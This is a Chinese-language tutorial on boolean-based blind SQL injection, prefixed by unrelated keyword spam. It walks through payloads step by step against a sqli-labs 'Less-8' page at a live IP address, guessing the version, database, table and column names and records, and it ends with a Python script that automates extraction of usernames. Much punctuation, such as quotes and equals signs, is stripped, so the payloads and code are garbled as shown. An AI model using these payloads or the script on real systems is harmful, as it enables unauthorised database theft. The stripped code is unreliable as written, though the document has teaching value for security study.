最容易做流量的网站,做网站需要看什么书,wordpress支付宝当面付插件,重庆短视频培训SQL注入之布尔盲注 一、布尔盲注介绍二、布尔盲注的特性三、布尔盲注流程3.1、确定注入点3.2、判断数据库的版本3.3、判断数据库的长度3.4、猜解当前数据库名称#xff08;本步骤需要重复#xff09;3.5、猜解数据表的数量3.6、猜解第一个数据表名称的长度3.7、猜解第一个数据… SQL注入之布尔盲注 一、布尔盲注介绍二、布尔盲注的特性三、布尔盲注流程3.1、确定注入点3.2、判断数据库的版本3.3、判断数据库的长度3.4、猜解当前数据库名称本步骤需要重复3.5、猜解数据表的数量3.6、猜解第一个数据表名称的长度3.7、猜解第一个数据表名称的字符3.8、猜解数据表中字段的数量3.9、猜解第一个数据表名中字段的长度3.10、猜解第一个数据表中字段的字符3.11、获取字段中的记录 四、布尔盲注的脚本 推荐简单了解SQL注入
一、布尔盲注介绍 盲注就是在SQL注入过程中找到注入点执行SQL语句后查询到的数据或者错误信息不能回显到前端页面此时我们需要利用一些方法进行判断或者猜测这个过程称为盲注。 “基于布尔判断的盲注”指的是利用SQL语句逻辑与and操作判断and两边的条件是否成立SQL语句带入数据库查询后判断返回内容通常返回值仅有空和非空两种状态类似布尔型的true和false的两种状态true为非空false为空类似于无法开口说话的人只能通过点头和摇头来告诉你答案正确与否。 二、布尔盲注的特性 在页面中如果正确执行了用户构造的SQL语句则返回一种页面如果SQL语句执行错误则返回另一种页面。基于两种页面来判断SQL语句正确与否达到获取数据的目的。 三、布尔盲注流程
3.1、确定注入点 方法一通过增加、、注释符如果语句从执行失败到执行成功则说明存在注入点。 ?id1 ?id1 ?id1
说明存在注入点且闭合类型为单引号若闭合类型是双引号使用单引号像上面所示进行尝试3个页面都会显示正确方法二 ?id1 and 11
?id1 and 12
如果上面两句页面出现的结果不一样说明没有闭合方式是数字型解释为什么不是数字型是字符型注入的时候上面两句的结果会一样。 隐式类型转换 ?id‘1asdf’ ?id‘1’?id‘1’ ?id‘1’?id‘a’ ?id‘97’?id‘12abc’ ?id‘12’?id‘12ab3bc’ ?id‘12’?id1 and 11 ?id1?id1 and 12 ?id1
?id1 and 11 #
?id1 and 12 #
如果上面两句页面出现的结果不一样说明闭合方式是单引号是字符型3.2、判断数据库的版本 方法主要因为5.0版本以下没有information_schema数据库无法进行手动注入由于无法回显数据利用逻辑与和数据库版本第1位数字字符做判断 会使用到left函数返回从字符串开始位置指定数量的字符(包含空格)。
LEFT(string_expression, count)
#string_expression 表示字符串这个参数可以是数据库表的列名字符串也可以是某一函数的返回结果。
#count 是整数 表示从字符串开始位置到结束返回的字符数量例如
select left(5.5.53,1) -- 5
select left(5.5.53,2) -- 5.http://47.109.71.232:8080/Less-8/?id1 and left(version(),1)5--页面回显正确说明数据库版本大于5可以进行注入。
3.3、判断数据库的长度 方法由于无法回显数据先使用length()判断当前数据库的长度减小后面猜解数据库名称的工作量 使用到length函数判断数据库的长度。
http://47.109.71.232:8080/Less-8/?id1 and length(database())10--http://47.109.71.232:8080/Less-8/?id1 and length(database())8--3.4、猜解当前数据库名称本步骤需要重复 方法利用第3步确认的数据库长度结合ascii()、substr()函数一个一个字符猜解利用二分法 substr() 从一个内容中按照指定条件「截取」一个字符串。这个内容可以是数值或字符串。
substr(obj,start,length)
#obj从哪个内容中截取可以是数值或字符串。
#start从哪个字符开始截取1开始而不是0开始
#length截取几个字符空格也算一个字符。http://47.109.71.232:8080/Less-8/?id1 and ascii(substr(database(),1,1))110--http://47.109.71.232:8080/Less-8/?id1 and ascii(substr(database(),1,1))115--http://47.109.71.232:8080/Less-8/?id1 and ascii(substr(database(),2,1))101--3.5、猜解数据表的数量 方法count()函数利用二分法 http://47.109.71.232:8080/Less-8/?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())5--http://47.109.71.232:8080/Less-8/?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())4--3.6、猜解第一个数据表名称的长度 方法length函数利用二分法 http://47.109.71.232:8080/Less-8/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6--3.7、猜解第一个数据表名称的字符 方法ascii函数、substr函数一个一个字符猜解利用二分法 http://47.109.71.232:8080/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101--3.8、猜解数据表中字段的数量 方法count()函数利用二分法 http://47.109.71.232:8080/Less-8/?id1 and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameemails)2--3.9、猜解第一个数据表名中字段的长度 方法length函数利用二分法 http://47.109.71.232:8080/Less-8/?id1 and length((select column_name from information_schema.columns where table_schemadatabase() and table_nameemails limit 0,1))2 --3.10、猜解第一个数据表中字段的字符 方法ascii函数、substr函数一个一个字符猜解利用二分法 http://47.109.71.232:8080/Less-8/?id1 and ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameemails limit 0,1),1,1))105--3.11、获取字段中的记录 方法ascii函数、substr函数一个一个字符猜解利用二分法 http://47.109.71.232:8080/Less-8/?id1 and ascii(substr((select group_concat(id) from emails),1,1))49--四、布尔盲注的脚本
import requests
import stringurl http://47.109.71.232:8080/Less-8/?id
# select select database()
# select select group_concat(table_name) from information_schema.tables where table_schemadatabase()
# select select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers
select select group_concat(username) from users
result
for i in range(1, 100):for ch in string.ascii_letters string.digits ,:}{_:payload f1 and substr(({select}),{i},1) {ch}%23r requests.get(url url payload)if You are in in r.text:result chprint(result)breakif ch _:print([***] 注入完成)exit(0)